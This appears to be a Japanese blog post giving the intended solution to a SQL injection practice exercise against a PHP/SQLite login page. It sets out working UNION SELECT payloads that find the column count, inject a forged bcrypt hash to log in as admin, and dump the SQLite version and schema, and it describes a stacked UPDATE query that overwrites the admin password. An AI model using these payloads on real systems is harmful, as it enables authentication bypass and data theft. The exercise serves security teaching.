この記事は、以下の問題の想定正解です。まだ問題を読んでいない方は、先に問題を読んでください。
まず、多くの方に記事を読んで頂きありがとうございます。解答もいくつかいただきましたが、その中で、以下のhm323232さんの解答は非常に優れたもので、これに付け加えることはほとんどありません。
しかし、気を取り直して、解答を書きたいと思います。
まず、ログイン処理の中核部分は以下に引用した箇所です。
$sql = "SELECT * FROM users WHERE userid = '$userid'";
$stmt = $pdo->query($sql);
$user = $stmt->fetch();
if ($user && password_verify($password, $user['password'])) {
echo "ログイン成功:" . htmlspecialchars($user['userid']);
} else {
// ログイン失敗
このif文がtrueになる条件を作る必要があります。すなわち、SELECT文の結果ユーザーが1つ以上返り、かつ入力したパスワードが、データベースから得られたパスワードハッシュ値に適合しないといけません。
基本方針
SQLインジェクション攻撃で「攻撃者の意図どおりの結果を返す」ために使える道具としてUNIONがあります。これは私の本でも触れていますし、金床本にも詳しい説明があります。
UNIONを使った攻撃の基本形は以下となります。これはユーザIDとして「' UNION SELECT 'a','b','c','d」を入力した場合のSQL文です。
sqlite> SELECT * FROM users WHERE userid='' UNION SELECT 'a','b','c','d';
a|b|c|d
このように、UNION SELECT 以下で指定した値がそのまま返っていることがわかります。すなわち、UNIONを使って、SELECTの結果を自由に操作できることがわかります。
問題は、ブラックボックスの攻撃だと、以下が分からないことです。
- UNIONだと元のSELECT文と列数を合わせる必要があるが、外部からは列数は分からない
- パスワードハッシュが何番目の列か、どの形式か分からない
- useridが何番目の列か分からない
以下、ブラックボックスでの判定方法を説明します。
テーブルの列数を調べる
SQLインジェクションで列数を調べる方法として以下があります。
- UNIONを使う
- ORDER BYを使う
例えば、「' UNION SELECT 1, 2, 3 --」を入力すると、以下のエラーになります。
SQLSTATE[HY000]: General error: 1 SELECTs to the left and right of UNION do not have the same number of result columns
一方、「' UNION SELECT 1, 2, 3, 4 --」を入力すると、SQLのエラーは表示されず「ログイン失敗」と表示されるので、列数は4であることがわかります。
また、ORDER BYを使うというのは、「ORDER BY 3」などと列名の代わりに列番号というものを指定する方法です。この機能は規格SQLでは非推奨となっていますが、現実のSQL実装では使えます。列数が4つしかないのに、「ORDER BY 5」などと4を超える数値を指定するとエラーになる性質を使って列数を求めるものです。
問題のサイトはSQLiteを使っていますが、この場合、ORDER BYの列番号を試行錯誤しなくても、「' ORDER BY 100 --」とユーザID欄に入力することで一度の試行で列数を求めることができます。この場合、以下のエラーが表示されます。
SQLSTATE[HY000]: General error: 1 1st ORDER BY term out of range - should be between 1 and 4
「should be between 1 and 4」という表示から、列数は4であることがわかります。
パスワードハッシュの情報
次にパスワードハッシュの情報を得ます。これを調べるために、ユーザID欄で以下の4通りを試します。
' UNION SELECT NULL, 2, 3, 4 --
' UNION SELECT 1, NULL, 3, 4 --
' UNION SELECT 1, 2, NULL, 4 --
' UNION SELECT 1, 2, 3, NULL --
この結果、3番目にNULLを入れた場合のみ以下の警告が表示されます。
Deprecated: password_verify(): Passing null to parameter #2 ($hash) of type string is deprecated in /var/www/html/login.php on line 13
この結果、以下の情報がわかります。
- パスワードのハッシュ値は3番目の列であること
- 内部でpassword_verify関数(マニュアル)を呼んでいること
password_verify関数に食わせるハッシュ値はpassword_hash関数(マニュアル)で簡単に作ることができます。password_hash関数では複数のハッシュアルゴリズムを指定できますが、password_verify側にはアルゴリズム指定はなく、ハッシュ値からアルゴリズムを自動的に読み取るので、password_hashで指定するアルゴリズムは任意のものが使えます。
ということで、以下のコマンドは、アルゴリズムとしてPASSWORD_DEFAULT(現時点ではbcrypt)を指定して、パスワード「a」に対するハッシュ値を求めるものです。Dockerコンテナにアタッチしていますが、どこのご家庭にもあるPHP(パージョン5.5以上)を使っても構いません。
$ docker compose exec php /bin/bash
root@f921a80a8078:/var/www# php -r "echo password_hash('a', PASSWORD_DEFAULT), PHP_EOL;"
$2y$10$xsIlqn/90gAxrlEPzxsaPe3nokPZQtw/.vlsydx6nWUommxA6juia
root@f921a80a8078:/var/www#
\$2y$.. で始まっている文字列がハッシュ値です。なので、ユーザIDとして下記の文字列、パスワードとして「a」を入力してログインしてみます。
' UNION SELECT 1, 2, '$2y$10$xsIlqn/90gAxrlEPzxsaPe3nokPZQtw/.vlsydx6nWUommxA6juia', 4 --
すると、「ログイン成功:2」と表示されます。
useridの情報
「ログイン成功:2」の「2」はどこから来たかというと、「UNION SELET 1, 2」の2が表示されていると考えられます。なので、ユーザIDとして以下を、パスワードとして「a」を入力してログインしてみます。
' UNION SELECT 1, 'admin', '$2y$10$xsIlqn/90gAxrlEPzxsaPe3nokPZQtw/.vlsydx6nWUommxA6juia', 4 --
すると、以下の表示となります。攻撃の成功です。
SQLiteのバージョン表示
追加の問題としてSQLiteのバージョン表示がありましたが、'admin'の箇所をsqlite_version()に変更すれば実現できます。
' UNION SELECT 1, sqlite_version(), '$2y$10$xsIlqn/90gAxrlEPzxsaPe3nokPZQtw/.vlsydx6nWUommxA6juia', 4 --
上記をユーザID欄に、パスワードとして「a」を入力すると、以下の結果が得られます。事前にデータベースの種類が不明な場合に、SQLiteと特定する方法としても有効です。
テーブル情報の表示
追加の問題としてテーブル情報の表示がありましたが、sqlite_masterというテーブルからsql列を表示すれば得られます。以下の例では、group_concat関数を使って、複数行あった場合カンマ区切りで表示するようにしています。
' UNION SELECT 1, (select group_concat(sql) from sqlite_master), '$2y$10$xsIlqn/90gAxrlEPzxsaPe3nokPZQtw/.vlsydx6nWUommxA6juia', 4 --
結果は以下となります。テーブルの情報が分かれば攻撃がはかどりますね。MySQL等の場合は、sqlite_masterの代わりにinformation_schemaが利用できます。
別解の可能性
UNIONを用いない攻撃の候補としては、以下のように、SQLの複文(Multiple Statement)を使って、UPDATE文でadminユーザのパスワードを書き換えてしまうという荒業も考えられます。ユーザID欄に以下を入力してログインすると、
'; UPDATE users SET password='$2y$....' WHERE userid='admin
実行されるSQL文は以下となります。
SELECT * FROM users WHERE userid=''; UPDATE users SET password='$2y$....' WHERE userid='admin'
これはsqlite3コマンドで実行すると期待通りに動きますが、SQLインジェクションの形で実行するとSELECTのみが動作し、UPDATE文は動きません。その理由は、PHP等からSQL文を呼び出す際に、複文に対応しないAPIを呼んでいるからです。
このため、複文でUPDATE文を動かすことは、この環境ではうまくいきません。MySQLならば実行できるはずです(参考記事)。
ペッパー(pepper)について
先程引用したhm323232さんの記事では、以下のような記述があります。
なおここで、対象のWebアプリケーションがいわゆるペッパーを使用している場合、突破できません。
この指摘は、この文が置かれた文脈、すなわちpassword_hash関数でハッシュ値を手作りするという文脈では正しいのですが、元のサイトに仮にペッパーが使われていた場合突破できるか否かという、より広い文脈で考えると、突破できる可能性はあります。
そこで、今回の練習問題を拡張してペッパーも使ってパスワードを保護している場合でも、SQLインジェクションによる認証回避を試みる練習問題を作りましたので挑戦してみてください。